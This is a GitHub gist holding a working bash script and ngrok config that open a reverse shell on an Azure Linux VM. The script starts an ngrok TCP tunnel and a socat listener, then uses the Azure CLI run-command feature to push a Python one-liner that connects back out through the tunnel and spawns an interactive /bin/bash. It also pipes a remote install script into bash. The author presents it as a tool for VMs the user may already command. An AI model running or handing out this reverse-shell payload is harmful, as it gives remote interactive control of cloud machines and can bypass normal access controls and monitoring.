Skip to content

Instantly share code, notes, and snippets.

@joshspicer
Last active February 29, 2024 16:07
Show Gist options
  • Save joshspicer/b5c66ad239031e3138469c5948c78bae to your computer and use it in GitHub Desktop.
Save joshspicer/b5c66ad239031e3138469c5948c78bae to your computer and use it in GitHub Desktop.
# Reverse Shell for Azure VMs
# Author: Josh Spicer <[email protected]>
#### GOAL ####
# For any Azure Compute Linux VM where you have permission to execute one-off commands via the Azure CLI,
# issues a reverse shell command to the VM and sends the shell back to you over TCP (via an ngrok tunnel)
#### Prereqs ####
# socat
# ngrok
# Azure CLI
# jq
#
# The script will automatically try to install these dependencies if they aren't detected on your path
# They can be installed manually by scrolling down and running each line for your platform.
#### Additonal Setup ####
# 1. Create/Login to a free ngrok acct (ngrok authtoken <YOUR TOKEN FROM NGROK.COM>)
# 2. Log into Azure CLI (az login)
#### Supports ####
# - MacOS
# - Windows WSL
# - Debian-based linux distros
#### Usage ####
# ./reverse-shell-azure.sh <VM GUID> [RESOURCE_GROUP] [SUBSCRIPTION]
RED='\033[0;91m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
YELLOWBOLD='\033[1;93m'
BOLD='\033[1m'
GRAY='\033[0;37m'
NC='\033[0m' # No Color
VMID=$1
RESOURCE_GROUP=${2:-"YOUR_RG_HERE"}
SUBSCRIPTION=${3:-"YOUR_SUB_HERE"}
# Check for correct number of arguments
MIN_ARGS=1
if [ "$#" -lt $MIN_ARGS ]; then
echo -e "${RED}[-] Usage: [DONTCLEAN=1] ./reverse-shell-vm.sh <VM NAME> [RESOURCE_GROUP] [SUBSCRIPTION]${NC}"
exit 1
fi
sudoIf()
{
if [ "$(id -u)" -ne 0 ]; then
sudo "$@"
else
"$@"
fi
}
function extractURI()
{
proto="$(echo $1 | grep :// | sed -e's,^\(.*://\).*,\1,g')"
url="$(echo ${1/$proto/})"
PORT="$(echo $url | sed -e 's,^.*:,:,g' -e 's,.*:\([0-9]*\).*,\1,g' -e 's,[^0-9],,g')"
path="$(echo $url | grep / | cut -d/ -f2-)"
HOST=${url/:$PORT}
}
echo -e "${GREEN}"
echo -e "======================"
echo -e "| reverse-shell |"
echo -e "======================"
echo -e; echo -e "${NC}"
echo -e "${YELLOW}[!] WARNING: CONNECTIONS ARE UNENCRYPTED${NC}"
echo -e ""
# Try to automatically install dependencies
( type socat && type ngrok && type az && type jq ) > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo -e "${RED}[-] WARNING: Missing on PATH at least one of: socat, ngrok, az, jq${NC}"
echo -e "${YELLOW}[!] Would you like to automatically install dependencies? (y/n) ${NC}"
read -n 1 -e choice
if [[ "$choice" == [Yy]* ]]; then
if uname -a | grep -i darwin > /dev/null 2>&1; then
echo -e "${GREEN}[+] Attempting auto install of Mac dependencies (requires homebrew)${NC}"
if ! type socat > /dev/null 2>&1; then
brew install socat
fi
if ! type ngrok > /dev/null 2>&1; then
brew install ngrok
fi
if ! type az > /dev/null 2>&1; then
brew install azure-cli
fi
if ! type jq > /dev/null 2>&1; then
brew install jq
fi
else
echo -e "${GREEN}[+] Attempting auto install of debian/WSL2 dependencies (requires sudo)${NC}"
sudoIf apt update -qq
sudoIf apt install -y wget curl unzip
if ! type socat > /dev/null 2>&1; then
sudoIf apt install -y socat
fi
if ! type ngrok > /dev/null 2>&1; then
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip -O ngrok.zip && unzip ngrok && sudoIf cp ngrok /usr/local/bin && sudoIf chown $(whoami) /usr/local/bin/ngrok && sudoIf chmod +x /usr/local/bin/ngrok
rm ngrok.zip
rm ngrok
fi
if ! type az > /dev/null 2>&1; then
curl -sL https://aka.ms/InstallAzureCLIDeb | sudoIf bash
fi
if ! type jq > /dev/null 2>&1; then
sudoIf apt install -y jq
fi
fi
echo;echo;echo
echo -e "${GREEN}[+] Install dependencies complete!${NC}"
else
echo -e "${YELLOW}[!] Exiting, dependencies must be installed manually${NC}"
exit -1
fi
fi
echo -e "${YELLOW}[!] Checking for required logins..."
QUIT_FOR_LOGIN=
if (cat $HOME/.ngrok2/ngrok.yml | grep "authtoken:") > /dev/null 2>&1; then
: # Do nothing, already set up
elif [ -n "$NGROK_TOKEN" ]; then
ngrok authtoken $NGROK_TOKEN # > /dev/null 2>&1
else
QUIT_FOR_LOGIN=1
echo -e "${YELLOW}[!] ACTION REQUIRED: Create a free ngrok.com account and login${NC}"
echo -e
ngrok authtoken
fi
ACCOUNTS=`az account list 2> /dev/null`
if [[ "$ACCOUNTS" == "[]" ]]; then
QUIT_FOR_LOGIN=1
echo -e "${YELLOW}[!] ACTION REQUIRED: Manually log into the Azure CLI:${NC} az login${NC}"
fi
if [ -n "$QUIT_FOR_LOGIN" ]; then
echo -e ""
echo -e "${YELLOW}[!] Rerun this script when finished with manual configuration. Exiting.${NC}"
echo -e ""
exit 0
else
echo -e "${GREEN}[+] All logins complete!${NC}"
fi
# We expect a custom ngrok config file checked into this directory
# Fail if it's not there
CURRDIR=`pwd`
N_C_NAME="revshell.ngrok.yml"
NGROK_STATIC_CONFIG="$CURRDIR/$N_C_NAME"
if [[ -f $NGROK_STATIC_CONFIG ]];then
echo -e "${GREEN}[+] $N_C_NAME exists${NC}"
else
echo -e "${RED}[-] $N_C_NAME was NOT found at expected location${NC}"
exit 1
fi
# Set the azure subscription.
az account set --subscription $SUBSCRIPTION
if [[ -z "${DONTCLEAN}" ]]; then
echo -e "${GREEN}[+] Cleaning previous session${NC}"
az vm run-command invoke -g $RESOURCE_GROUP -n $VMID --command-id RemoveRunCommandLinuxExtension > /dev/null 2>&1
else
echo -e "${GREEN}[+] Skipping CLEAN step.${NC}"
fi
# Listen for reverse shell locally on port 56760
echo -e "${GREEN}[+] Launching ngrok and socat listener${NC}"
NGROK_LAUNCH_SCRIPT="ngrok start --config '$HOME/.ngrok2/ngrok.yml' --config '$NGROK_STATIC_CONFIG' reverseshell"
SOCAT_LAUNCH_SCRIPT='socat file:`tty`,raw,echo=0 tcp-listen:56760'
if uname -a | grep -i darwin > /dev/null 2>&1; then
echo -e "${GREEN}[+] Launching in macOS mode.${NC}"
set -ex
osascript -e 'tell app "Terminal" to do script "'"$NGROK_LAUNCH_SCRIPT"\" > /dev/null 2>&1
osascript -e 'tell app "Terminal" to do script "'"$SOCAT_LAUNCH_SCRIPT"\" > /dev/null 2>&1
set +ex
echo -e "${YELLOWBOLD}[!] Two NEW terminal windows launched. Check your app dock!${NC}"
else
echo -e "${GREEN}[+] Launching in Windows(WSL2)/Ubuntu mode.${NC}"
echo
echo -e "${YELLOW}[!] Manual steps incoming! ${NC}"
echo -e "${YELLOWBOLD}[!] Open up TWO new bash terminals and copy/paste each command:${NC}"
echo -e
echo -e "${YELLOWBOLD}>>${NC} ${BOLD}$NGROK_LAUNCH_SCRIPT ${NC}"
echo -e ""
echo -e "${YELLOWBOLD}>>${NC} ${BOLD}$SOCAT_LAUNCH_SCRIPT ${NC}"
echo
echo -e "${YELLOW}[!] Press <ENTER> when finished${NC}" && read -n 1
fi
set -e
echo
echo "===================="
echo "VMID: $VMID"
echo "RG: $RESOURCE_GROUP"
echo "SUB: $SUBSCRIPTION"
sleep 3
# Expects ngrok config
ENDPOINTS=$(curl --silent --show-error -H "Content-Type: application/json" http://127.0.0.1:4040/api/tunnels | jq -r '.tunnels | to_entries[] | {"name": .value.name, "public_url": .value.public_url }')
REVSHELL_URI=$(echo $ENDPOINTS | jq -r 'select(.name=="reverseshell") | .public_url')
extractURI $REVSHELL_URI
REVSHELL_HOST=$HOST
REVSHELL_PORT=$PORT
echo "NGROK_HOST: $REVSHELL_HOST"
echo "NGROK_PORT: $REVSHELL_PORT"
echo "==================="
echo
# Don't bother continuing if NGROK_HOST is empty
[ -z "$REVSHELL_HOST" > /dev/null 2>&1 ] && echo -e "${RED}[-] ERROR: Ngrok reverse proxy was not started properly. Exiting.${NC}" && exit -1
echo -e "${GREEN}[+] Sending command to VM...${NC}"
echo -e "${GREEN}[+] This may take a few minutes${NC}"
echo
echo -e "${YELLOWBOLD}[!] The rest of the script will continue in the \"socat\" window.${NC}"
echo
echo -e "============= USEFUL COMMANDS ============="
echo -e "Improve terminal responsiveness"
echo -e "> ${BOLD}stty rows 50 cols 200 && export TERM=xterm ${NC}"
echo
echo -e "${NC}"; echo; echo;
# Send reverse shell command to VM
az vm run-command invoke -g $RESOURCE_GROUP -n $VMID --command-id RunShellScript --scripts "export RHOST=\"$REVSHELL_HOST\";export RPORT=$REVSHELL_PORT;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/bash\")'"
set +e
tunnels:
reverseshell:
addr: 56760
proto: tcp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment